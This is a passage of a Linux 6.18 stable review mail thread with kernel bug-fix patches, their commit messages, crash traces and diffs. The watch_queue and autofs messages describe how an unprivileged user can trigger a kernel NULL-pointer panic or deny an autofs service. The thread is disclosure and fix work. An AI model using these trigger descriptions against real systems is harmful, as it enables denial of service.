+ * ~0. The Vendor ID of VFs reads ~0, so check their Command
+ * register instead.
*
* If there's no Root Port or Configuration RRS Software Visibility
* is not enabled, the device may still respond with RRS, but
@@ -1249,8 +1251,13 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)
if (root && root->config_rrs_sv) {
pci_read_config_dword(dev, PCI_VENDOR_ID, &id);
- if (!pci_bus_rrs_vendor_id(id))
- break;
+ if (!pci_bus_rrs_vendor_id(id)) {
+ if (PCI_POSSIBLE_ERROR(id) && dev->is_virtfn)
+ pci_read_config_dword(dev, PCI_COMMAND,
+ &id);
+ if (!PCI_POSSIBLE_ERROR(id))
+ break;
+ }
} else {
pci_read_config_dword(dev, PCI_COMMAND, &id);
if (!PCI_POSSIBLE_ERROR(id))
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 071/193] accel/rocket: search every core slot when a core is removed
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (69 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 070/193] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 072/193] afs: free the super info after a grace period Greg Kroah-Hartman
` (132 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Igor Paunovic, Heiko Stuebner,
Jiaxing Hu, Sidong Yang
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Paunovic <royalnet026@gmail.com>
commit 6eff1d69dae808a1518aee5a58d0853a8db3f1be upstream.
rocket_remove() decrements rdev->num_cores for each core it removes,
while find_core_for_dev() searches slots 0 to num_cores - 1. Unbinding
the cores in the order they were bound therefore loses the last one: by
the time it is removed the search range has already shrunk past its
slot, so find_core_for_dev() returns -1 and rocket_remove() gives up
without doing anything.
num_cores never reaches zero, rocket_device_fini() never runs, and the
file-scoped rdev keeps pointing at a device that is going away. Binding
the cores again starts from that stale count, because rocket_probe()
takes rdev->num_cores as the slot to fill. On an RK3588, which describes
three cores, the second round lands on slots 1, 2 and 3 while rdev->cores
was allocated with room for three:
rocket fdab0000.npu: Rockchip NPU core 1 version: 1179210309
rocket fdac0000.npu: Rockchip NPU core 2 version: 1179210309
rocket fdad0000.npu: Rockchip NPU core 3 version: 1179210309
The write to rdev->cores[3] is past the end of the array.
Nothing in tree reads the core array often enough to notice, so the
overrun is silent today. It turned up while testing a devfreq series on
top of this, where a worker walks every core a few times a second, and
UBSAN caught the first bool it read out of the overrun entry:
UBSAN: invalid-load in drivers/accel/rocket/rocket_devfreq.c:47:10
load of value 5 is not a valid value for type '_Bool'
Workqueue: devfreq_wq devfreq_monitor
Record how many slots were allocated and search all of them. Every core
is then found on removal, num_cores reaches zero, the device is torn down
and a later bind starts from a clean rdev.
This does not make unbinding a single core out of several work. probe
still takes num_cores as the slot to fill, so rebinding one core while
its siblings stay bound would write over a slot that is already in use,
and rocket_open() still reaches for cores[0] whether or not anything is
there. Both of those want more thought than a fix should carry.
Found by unbinding and rebinding all three cores on an Orange Pi 5 Plus.
With this applied, 25 unbind/rebind rounds and 5 module unload/reload
rounds run clean there: the cores land in slots 0, 1 and 2 every time,
whichever order they are bound in, and the shared supply goes back to a
single user after each round.
Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
Cc: stable@vger.kernel.org
Signed-off-by: Igor Paunovic <royalnet026@gmail.com>
Assisted-by: LLM sparse checkpatch
Tested-by: Jiaxing Hu <gahing@gahingwoo.com> # RK3576, two cores
Tested-by: Sidong Yang <sidong.yang@furiosa.ai> # RK3588, 3 cores
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Link: https://patch.msgid.link/20260904125936.26234-1-royalnet026@gmail.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/accel/rocket/rocket_device.c | 2 ++
drivers/accel/rocket/rocket_device.h | 1 +
drivers/accel/rocket/rocket_drv.c | 2 +-
3 files changed, 4 insertions(+), 1 deletion(-)
--- a/drivers/accel/rocket/rocket_device.c
+++ b/drivers/accel/rocket/rocket_device.c
@@ -31,6 +31,8 @@ struct rocket_device *rocket_device_init
if (of_device_is_available(core_node))
num_cores++;
+ rdev->max_cores = num_cores;
+
rdev->cores = devm_kcalloc(dev, num_cores, sizeof(*rdev->cores), GFP_KERNEL);
if (!rdev->cores)
return ERR_PTR(-ENOMEM);
--- a/drivers/accel/rocket/rocket_device.h
+++ b/drivers/accel/rocket/rocket_device.h
@@ -19,6 +19,7 @@ struct rocket_device {
struct rocket_core *cores;
unsigned int num_cores;
+ unsigned int max_cores;
};
struct rocket_device *rocket_device_init(struct platform_device *pdev,
--- a/drivers/accel/rocket/rocket_drv.c
+++ b/drivers/accel/rocket/rocket_drv.c
@@ -225,7 +225,7 @@ static int find_core_for_dev(struct devi
{
struct rocket_device *rdev = dev_get_drvdata(dev);
- for (unsigned int core = 0; core < rdev->num_cores; core++) {
+ for (unsigned int core = 0; core < rdev->max_cores; core++) {
if (dev == rdev->cores[core].dev)
return core;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 072/193] afs: free the super info after a grace period
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (70 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 071/193] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 073/193] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
` (131 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 59e483739f2fd14327ece3f60c4995d060ca46b7 upstream.
afs_atcell_get_link() resolves the @cell and .@cell symlinks of a
dynamic root in rcu pathwalk mode. Before it looks at the dentry it gets
the afs_net through afs_i2net(), which reads ->net_ns from the
afs_super_info in sb->s_fs_info. The @cell dentries are kept around when
unused and the dynamic root has no ->d_revalidate(), so a lookup that
finds @cell in the dcache gets to ->get_link() in rcu mode.
afs_kill_super() frees the afs_super_info with a plain kfree() in
afs_destroy_sbi(). Right now a pathwalk can't still be in
afs_atcell_get_link() at that point, but only by accident. umount(2)
waits for a grace period in namespace_unlock() before it drops the
mount. And a mount whose last reference goes away elsewhere, like the
chdir out of a lazily unmounted directory, still gets a grace period
from bdi_unregister(). afs_fill_super() sets up a private bdi, so
generic_shutdown_super() unregisters it from kill_anon_super() and
bdi_remove_from_list() waits in synchronize_rcu_expedited() before
afs_destroy_sbi() runs. That grace period protects the rcu readers of
bdi_list in the writeback code. It has nothing to do with pathwalk.
Don't rely on it and free the afs_super_info after a grace period.
Fixes: 30bca65bbbae ("afs: Make /afs/@cell and /afs/.@cell symlinks")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-2-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/afs/internal.h | 2 ++
fs/afs/super.c | 2 +-
2 files changed, 3 insertions(+), 1 deletion(-)
--- a/fs/afs/internal.h
+++ b/fs/afs/internal.h
@@ -252,6 +252,8 @@ struct afs_super_info {
struct afs_volume *volume; /* volume record */
enum afs_flock_mode flock_mode:8; /* File locking emulation mode */
bool dyn_root; /* True if dynamic root */
+ /* afs_atcell_get_link() reads ->net_ns in rcu pathwalk */
+ struct rcu_head rcu;
};
static inline struct afs_super_info *AFS_FS_S(struct super_block *sb)
--- a/fs/afs/super.c
+++ b/fs/afs/super.c
@@ -523,7 +523,7 @@ static void afs_destroy_sbi(struct afs_s
afs_put_volume(as->volume, afs_volume_trace_put_destroy_sbi);
afs_unuse_cell(as->cell, afs_cell_trace_unuse_sbi);
put_net(as->net_ns);
- kfree(as);
+ kfree_rcu(as, rcu);
}
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 073/193] autofs: ignore notification errors from a replaced pipe
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (71 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 072/193] afs: free the super info after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 074/193] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
` (130 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sung Byeongchan, Ian Kent,
Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sung Byeongchan <tjdqudcks0424@naver.com>
commit 65676cd4203c0e41a94caf54080a7f0a95434bda upstream.
autofs_notify_daemon() takes a reference to the current notification
pipe under wq_mutex, then drops the mutex before writing the request. The
write can block while the daemon enters catatonic mode and installs a
replacement pipe.
If the old pipe's reader is then closed, the delayed write returns -EPIPE
and the generic error path enters catatonic mode again. That transition
acts on the current superblock state, closes the replacement pipe, and
releases the new daemon generation's wait queues.
Only enter catatonic mode when the pipe which failed is still the current
pipe. Factor the already-locked transition so the identity check and state
change are atomic with respect to another replacement.
This was reproduced on v7.3-rc5-337-gff47652a4b66c in a local QEMU guest.
An unprivileged UID 65534 lookup filled the old packet pipe before a
normal CATATONIC/SETPIPEFD restart. On the unmodified kernel, the new pipe
received HUP and both a pending victim lookup and a later lookup failed
with ENOENT in two out of two fresh-mount runs.
With this change, the new pipe remained active, received an intact
304-byte request, and both victim lookups completed in two out of two
runs. Normal lookup and restart-without-a-blocked-writer controls passed.
No KASAN, oops, refcount, or lock diagnostic was observed. A source
reproducer and complete local logs are available privately on request.
The demonstrated impact is limited to denial of a shared autofs service
during a legitimate daemon restart. No memory corruption, information leak,
privilege escalation, or code execution primitive was observed.
Fixes: 8d7b48e0bc5fa ("autofs4: add miscellaneous device for ioctls")
Cc: stable@vger.kernel.org
Signed-off-by: Sung Byeongchan <tjdqudcks0424@naver.com>
Link: https://patch.msgid.link/20261007173542.593624-1-tjdqudcks0424@naver.com
Acked-by: Ian Kent <raven@themaw.net>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/autofs/waitq.c | 25 +++++++++++++++++++------
1 file changed, 19 insertions(+), 6 deletions(-)
--- a/fs/autofs/waitq.c
+++ b/fs/autofs/waitq.c
@@ -12,15 +12,13 @@
*/
static autofs_wqt_t autofs_next_wait_queue = 1;
-void autofs_catatonic_mode(struct autofs_sb_info *sbi)
+static void autofs_catatonic_mode_locked(struct autofs_sb_info *sbi)
{
struct autofs_wait_queue *wq, *nwq;
- mutex_lock(&sbi->wq_mutex);
- if (sbi->flags & AUTOFS_SBI_CATATONIC) {
- mutex_unlock(&sbi->wq_mutex);
+ lockdep_assert_held(&sbi->wq_mutex);
+ if (sbi->flags & AUTOFS_SBI_CATATONIC)
return;
- }
pr_debug("entering catatonic mode\n");
@@ -40,6 +38,21 @@ void autofs_catatonic_mode(struct autofs
fput(sbi->pipe); /* Close the pipe */
sbi->pipe = NULL;
sbi->pipefd = -1;
+}
+
+void autofs_catatonic_mode(struct autofs_sb_info *sbi)
+{
+ mutex_lock(&sbi->wq_mutex);
+ autofs_catatonic_mode_locked(sbi);
+ mutex_unlock(&sbi->wq_mutex);
+}
+
+static void autofs_catatonic_mode_for_pipe(struct autofs_sb_info *sbi,
+ struct file *pipe)
+{
+ mutex_lock(&sbi->wq_mutex);
+ if (sbi->pipe == pipe)
+ autofs_catatonic_mode_locked(sbi);
mutex_unlock(&sbi->wq_mutex);
}
@@ -170,7 +183,7 @@ static void autofs_notify_daemon(struct
autofs_wait_release(sbi, wq->wait_queue_token, ret);
break;
default:
- autofs_catatonic_mode(sbi);
+ autofs_catatonic_mode_for_pipe(sbi, pipe);
break;
}
fput(pipe);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 074/193] bootconfig: give the footer size static_assert a message
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (72 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 073/193] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 075/193] unicode: free the map after a grace period Greg Kroah-Hartman
` (129 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin,
Masami Hiramatsu (Google)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <sashal@kernel.org>
commit a1ddc2721467fb68241372db77657fd0dcf6cda5 upstream.
static_assert() without a message is a C23 feature, so clang warns:
main.c:498:56: warning: '_Static_assert' with no message is a C23 extension [-Wc23-extensions]
Add a message.
Link: http://lkml.kernel.org/r/20261011223358.2327625-13-sashal@kernel.org
Fixes: 6ed5e20466c79 ("bootconfig: Fix unaligned access when building footer")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
tools/bootconfig/main.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--- a/tools/bootconfig/main.c
+++ b/tools/bootconfig/main.c
@@ -458,7 +458,8 @@ static int apply_xbc(const char *path, c
footer.size = htole32(size);
footer.csum = htole32(csum);
memcpy(footer.magic, BOOTCONFIG_MAGIC, BOOTCONFIG_MAGIC_LEN);
- static_assert(sizeof(footer) == BOOTCONFIG_FOOTER_SIZE);
+ static_assert(sizeof(footer) == BOOTCONFIG_FOOTER_SIZE,
+ "bootconfig footer size mismatch");
memcpy(data + size, &footer, BOOTCONFIG_FOOTER_SIZE);
total_size = size + BOOTCONFIG_FOOTER_SIZE;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 075/193] unicode: free the map after a grace period
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (73 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 074/193] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 076/193] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
` (128 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit a96c5299bd7305eb984377681eb3222a57376405 upstream.
generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and
dereference the unicode map while a pathwalk in rcu mode holds nothing
but rcu_read_lock(). The filesystems that use them, ext4, f2fs and
tmpfs, drop the map with utf8_unload() from ->put_super(), which runs
when the last reference to the mount goes away. A lookup that is still
inside such a filesystem at that point reads a freed map.
With a pathwalk held up in utf8_casefold_hash() while the last reference
to a casefolded tmpfs goes away:
BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950
Read of size 8 at addr ff110001030fe658 by task walker/98
Call Trace:
<TASK>
utf8nlookup+0x74c/0x950
utf8byte+0x160/0x1560
utf8_casefold_hash+0x167/0x230
generic_ci_d_hash+0xdd/0x1c0
link_path_walk+0x11ad/0x1d30
path_lookupat+0x63/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
[...]
Allocated by task 94:
__kmalloc_cache_noprof+0x249/0x560
utf8_load+0x4e/0x570
shmem_parse_opt_casefold.isra.0+0x92/0x270
[...]
Freed by task 97:
kfree+0x1db/0x5b0
shmem_put_super+0x72/0x170
generic_shutdown_super+0x14c/0x530
kill_anon_super+0x3a/0x60
deactivate_locked_super+0x9c/0xf0
cleanup_mnt+0x9f/0x130
So far that has been hard to hit. umount(2) waits for a grace period
in namespace_unlock() before it drops the mount, so only a mount whose
last reference goes away elsewhere, like the close of a file or a chdir
out of a lazily unmounted directory, can race a walker. So it is
reachable.
Delay the free until a grace period has passed. The map and the data
table it holds a reference to then outlive any pathwalk that found the
superblock before the mount went away. The reference on the data table
module is dropped from the rcu callback as well. utf8-core is built in
whenever CONFIG_UNICODE is set, so there is no module exit that would
have to wait for the callbacks.
Overlayfs points the s_encoding of an overlay at the map of its first
layer without taking a reference of its own. That stays correct. The
layer is held by the overlay, so its map is dropped only after the
overlay is gone.
Fixes: b886ee3e778e ("ext4: Support case-insensitive file name lookups")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-6-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/unicode/utf8-core.c | 21 +++++++++++++++++----
include/linux/unicode.h | 1 +
2 files changed, 18 insertions(+), 4 deletions(-)
--- a/fs/unicode/utf8-core.c
+++ b/fs/unicode/utf8-core.c
@@ -3,6 +3,7 @@
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/slab.h>
+#include <linux/rcupdate.h>
#include <linux/parser.h>
#include <linux/errno.h>
#include <linux/stringhash.h>
@@ -205,12 +206,24 @@ out_free_um:
}
EXPORT_SYMBOL(utf8_load);
+static void utf8_unload_rcu(struct rcu_head *head)
+{
+ struct unicode_map *um = container_of(head, struct unicode_map, rcu);
+
+ symbol_put(utf8_data_table);
+ kfree(um);
+}
+
+/*
+ * A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare() of a
+ * filesystem that is being torn down and read the map through its
+ * superblock, so the map and the tables it points to have to outlive the
+ * grace period.
+ */
void utf8_unload(struct unicode_map *um)
{
- if (um) {
- symbol_put(utf8_data_table);
- kfree(um);
- }
+ if (um)
+ call_rcu(&um->rcu, utf8_unload_rcu);
}
EXPORT_SYMBOL(utf8_unload);
--- a/include/linux/unicode.h
+++ b/include/linux/unicode.h
@@ -53,6 +53,7 @@ struct unicode_map {
unsigned int version;
const struct utf8data *ntab[UTF8_NMAX];
const struct utf8data_table *tables;
+ struct rcu_head rcu;
};
int utf8_validate(const struct unicode_map *um, const struct qstr *str);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 076/193] watch_queue: Fix note pool publication race in watch_queue_set_size()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (74 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 075/193] unicode: free the map after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 077/193] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
` (127 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dae R. Jeong, AutonomousCodeSecurity,
Cen Zhang (Microsoft), Bradley Morgan,
Christian Brauner (Amutable)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
commit 5e531d62f1f8834faf7a4eed0d41105cf6570a8f upstream.
There is a race between watch_queue_set_size() and post_one_notification().
watch_queue_set_size() publishes wqueue->notes, notes_bitmap, nr_pages and
nr_notes with plain stores, and post_one_notification() reads them with
plain loads under a different lock, so nothing orders the four stores
against the poster's loads: depending on the build, notes can be stored
last (gcc 14 on x86-64 does this). Since keyctl_watch_key() lets a watch
attach to a queue before it is sized, post_one_notification() can already
be running on another CPU at that moment: it reads nr_notes > 0, passes
its bounds check, and then reads notes while it is still NULL,
dereferencing notes[0].
An unprivileged user triggers this reliably by watching one of its own
keys through a notification pipe and racing ioctl(IOC_WATCH_QUEUE_SET_SIZE)
on that pipe against keyctl(KEYCTL_SETPERM) on the key from another CPU,
triggering:
BUG: kernel NULL pointer dereference, address: 0000000000000000
RIP: 0010:post_one_notification.isra.0+0xa2/0x1e0
Call Trace:
__post_watch_notification+0x148/0x180
keyctl_setperm_key+0x119/0x130
do_syscall_64+0x108/0x4c0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Kernel panic - not syncing: Fatal exception in interrupt
Fix this by publishing nr_notes last with smp_store_release(), and by
reading it once with smp_load_acquire() in post_one_notification() before
the bitmap and the page array are touched. A poster that observes a
non-zero nr_notes then also observes the pool behind it; one that observes
zero drops the notification as before.
Fixes: c73be61cede5 ("pipe: Add general notification queue support")
Reported-by: Dae R. Jeong <threeearcat@gmail.com>
Closes: https://lore.kernel.org/all/ZT-S8Q7tyutcvu_q@dragonet/
Reported-by: AutonomousCodeSecurity@microsoft.com
Suggested-by: Dae R. Jeong <threeearcat@gmail.com>
Signed-off-by: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
Link: https://patch.msgid.link/20261009224715.46121-1-cenzhang@linux.microsoft.com
Reviewed-by: Bradley Morgan <brads@mainlining.org>
Cc: <stable@vger.kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/watch_queue.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
--- a/kernel/watch_queue.c
+++ b/kernel/watch_queue.c
@@ -101,7 +101,7 @@ static bool post_one_notification(struct
struct pipe_inode_info *pipe = wqueue->pipe;
struct pipe_buffer *buf;
struct page *page;
- unsigned int head, tail, note, offset, len;
+ unsigned int head, tail, note, offset, len, nr_notes;
bool done = false;
spin_lock_irq(&pipe->rd_wait.lock);
@@ -111,8 +111,10 @@ static bool post_one_notification(struct
if (pipe_full(head, tail, pipe->ring_size))
goto lost;
- note = find_first_bit(wqueue->notes_bitmap, wqueue->nr_notes);
- if (note >= wqueue->nr_notes)
+ /* Pairs with the smp_store_release() in watch_queue_set_size(). */
+ nr_notes = smp_load_acquire(&wqueue->nr_notes);
+ note = find_first_bit(wqueue->notes_bitmap, nr_notes);
+ if (note >= nr_notes)
goto lost;
page = wqueue->notes[note / WATCH_QUEUE_NOTES_PER_PAGE];
@@ -297,7 +299,8 @@ long watch_queue_set_size(struct pipe_in
wqueue->notes = pages;
wqueue->notes_bitmap = bitmap;
wqueue->nr_pages = nr_pages;
- wqueue->nr_notes = nr_notes;
+ /* Pairs with the smp_load_acquire() in post_one_notification(). */
+ smp_store_release(&wqueue->nr_notes, nr_notes);
return 0;
error_p:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 077/193] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (75 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 076/193] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 078/193] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
` (126 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, EJ Campbell, Paolo Bonzini
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: EJ Campbell <ejc3@meta.com>
commit 81d99abe2bd81379abfb595e403bbbee6fbfc624 upstream.
An async #PF "page not present" event arrives through the #PF vector,
and its reason sits in the per-CPU apf_reason.flags until
__kvm_handle_async_pf() reads and clears it. If an NMI arrives after
the event is injected and before the #PF handler reads the flags, and
the NMI handler itself takes a #PF, that fault reads and clears the
flags belonging to the #PF it interrupted. It then finds interrupts
disabled in the NMI context it interrupted, and panics:
Kernel panic - not syncing: Host injected async #PF in interrupt
disabled region
Call Trace:
<NMI>
panic+0x52/0x60
__kvm_handle_async_pf+0xb0/0xb0
exc_page_fault+0x71/0xb0
asm_exc_page_fault+0x27/0x30
RIP: 0010:__get_user_nocheck_8+0x6/0x20
perf_callchain_user+0x147/0x1a0
get_perf_callchain+0x12d/0x1c0
...
perf_event_nmi_handler+0x26/0x50
exc_nmi+0xe8/0x110
RIP: 0010:asm_exc_page_fault+0x0/0x30
</NMI>
The last RIP line shows the NMI landing on the first instruction of
the #PF entry. perf with user call chains takes such a fault: the
sampling NMI walks the user stack with __get_user(), which faults when
a saved frame pointer is not a valid user address or the walk runs off
the top of the stack. The same window exists when KVM, running as an
L1 hypervisor with DELIVERY_AS_PF_VMEXIT, reads the flags itself after
a #PF VM-exit.
The NMI entry code saves and restores CR2 for this nesting, but not the
async #PF reason. Andy Lutomirski described the race, with perf as the
example, when async #PF delivery was reworked in 2020 [1]. Saving and
clearing the flags across the NMI, next to CR2, was discussed there but
not merged.
Since that rework, Linux has stopped setting KVM_ASYNC_PF_SEND_ALWAYS,
so the host delivers "page not present" only for user mode faults and
a kernel-mode fault in NMI context (including kernel-mode #MC and #DB)
cannot be an async page fault. In that case, return without touching
the flags so that the interrupted handler finds them intact.
Tested on v7.3-rc5 in a 4-vCPU, 2 GiB guest restored from a snapshot
whose memory is served on demand through userfaultfd, so that reading
it back takes async #PFs, while every thread samples hardware cycles
with user call chains and points its frame pointer at an unmapped page.
Without this patch the guest panicked as above in 3 of 3 runs. With it,
the guest survived 3 of 3 runs of 60 seconds, and the host counted
148,441 to 153,334 kvm_async_pf_not_present events in the first 20
seconds of each. On 6.18.50 the results were the same: the guest
panicked without the patch and survived with it.
Link: https://lore.kernel.org/all/ed71d0967113a35f670a9625a058b8e6e0b2f104.1583547991.git.luto@kernel.org/ [1]
Link: https://lore.kernel.org/all/20211126123145.2772-1-jiangshanlai@gmail.com/ [2]
Cc: stable@vger.kernel.org # v5.9+
Signed-off-by: EJ Campbell <ejc3@meta.com>
Link: https://patch.msgid.link/CADkxfh-uQTca_6jB1JPDq1MsKffF_UKGQR339oQSJNcoV75GNQ@mail.gmail.com
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kernel/kvm.c | 32 +++++++++++++++++++++++++++++---
1 file changed, 29 insertions(+), 3 deletions(-)
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -255,11 +255,39 @@ noinstr u32 kvm_read_and_reset_apf_flags
}
EXPORT_SYMBOL_GPL(kvm_read_and_reset_apf_flags);
+static __always_inline bool kvm_apf_reason_pending(void)
+{
+ return __this_cpu_read(async_pf_enabled) &&
+ __this_cpu_read(apf_reason.flags);
+}
+
noinstr bool __kvm_handle_async_pf(struct pt_regs *regs, u32 token)
{
- u32 flags = kvm_read_and_reset_apf_flags();
irqentry_state_t state;
+ u32 flags;
+
+ if (!kvm_apf_reason_pending())
+ return false;
+
+ /*
+ * The guest does not enable KVM_ASYNC_PF_SEND_ALWAYS, so the host
+ * delivers async #PF only to user mode (or as a #PF VM-exit, which KVM
+ * reads itself). A #PF from kernel mode can still arrive between that
+ * delivery and the read of the reason flags, inside an NMI that
+ * interrupted it, for instance perf reading user memory for a call
+ * chain. Such a fault is not async, so leave the async PF flags
+ * untouched for the outer handler. Outside NMI context, on the other
+ * hand, async PF flags on a kernel-mode fault mean the host is broken.
+ */
+ if (!user_mode(regs)) {
+ if (likely(in_nmi()))
+ return false;
+ state = irqentry_enter(regs);
+ instrumentation_begin();
+ panic("Host injected async #PF in kernel mode\n");
+ }
+ flags = kvm_read_and_reset_apf_flags();
if (!flags)
return false;
@@ -275,8 +303,6 @@ noinstr bool __kvm_handle_async_pf(struc
panic("Host injected async #PF in interrupt disabled region\n");
if (flags & KVM_PV_REASON_PAGE_NOT_PRESENT) {
- if (unlikely(!(user_mode(regs))))
- panic("Host injected async #PF in kernel mode\n");
/* Page is swapped out by the host. */
kvm_async_pf_task_wait_schedule(token);
} else {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 078/193] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (76 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 077/193] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 079/193] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
` (125 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
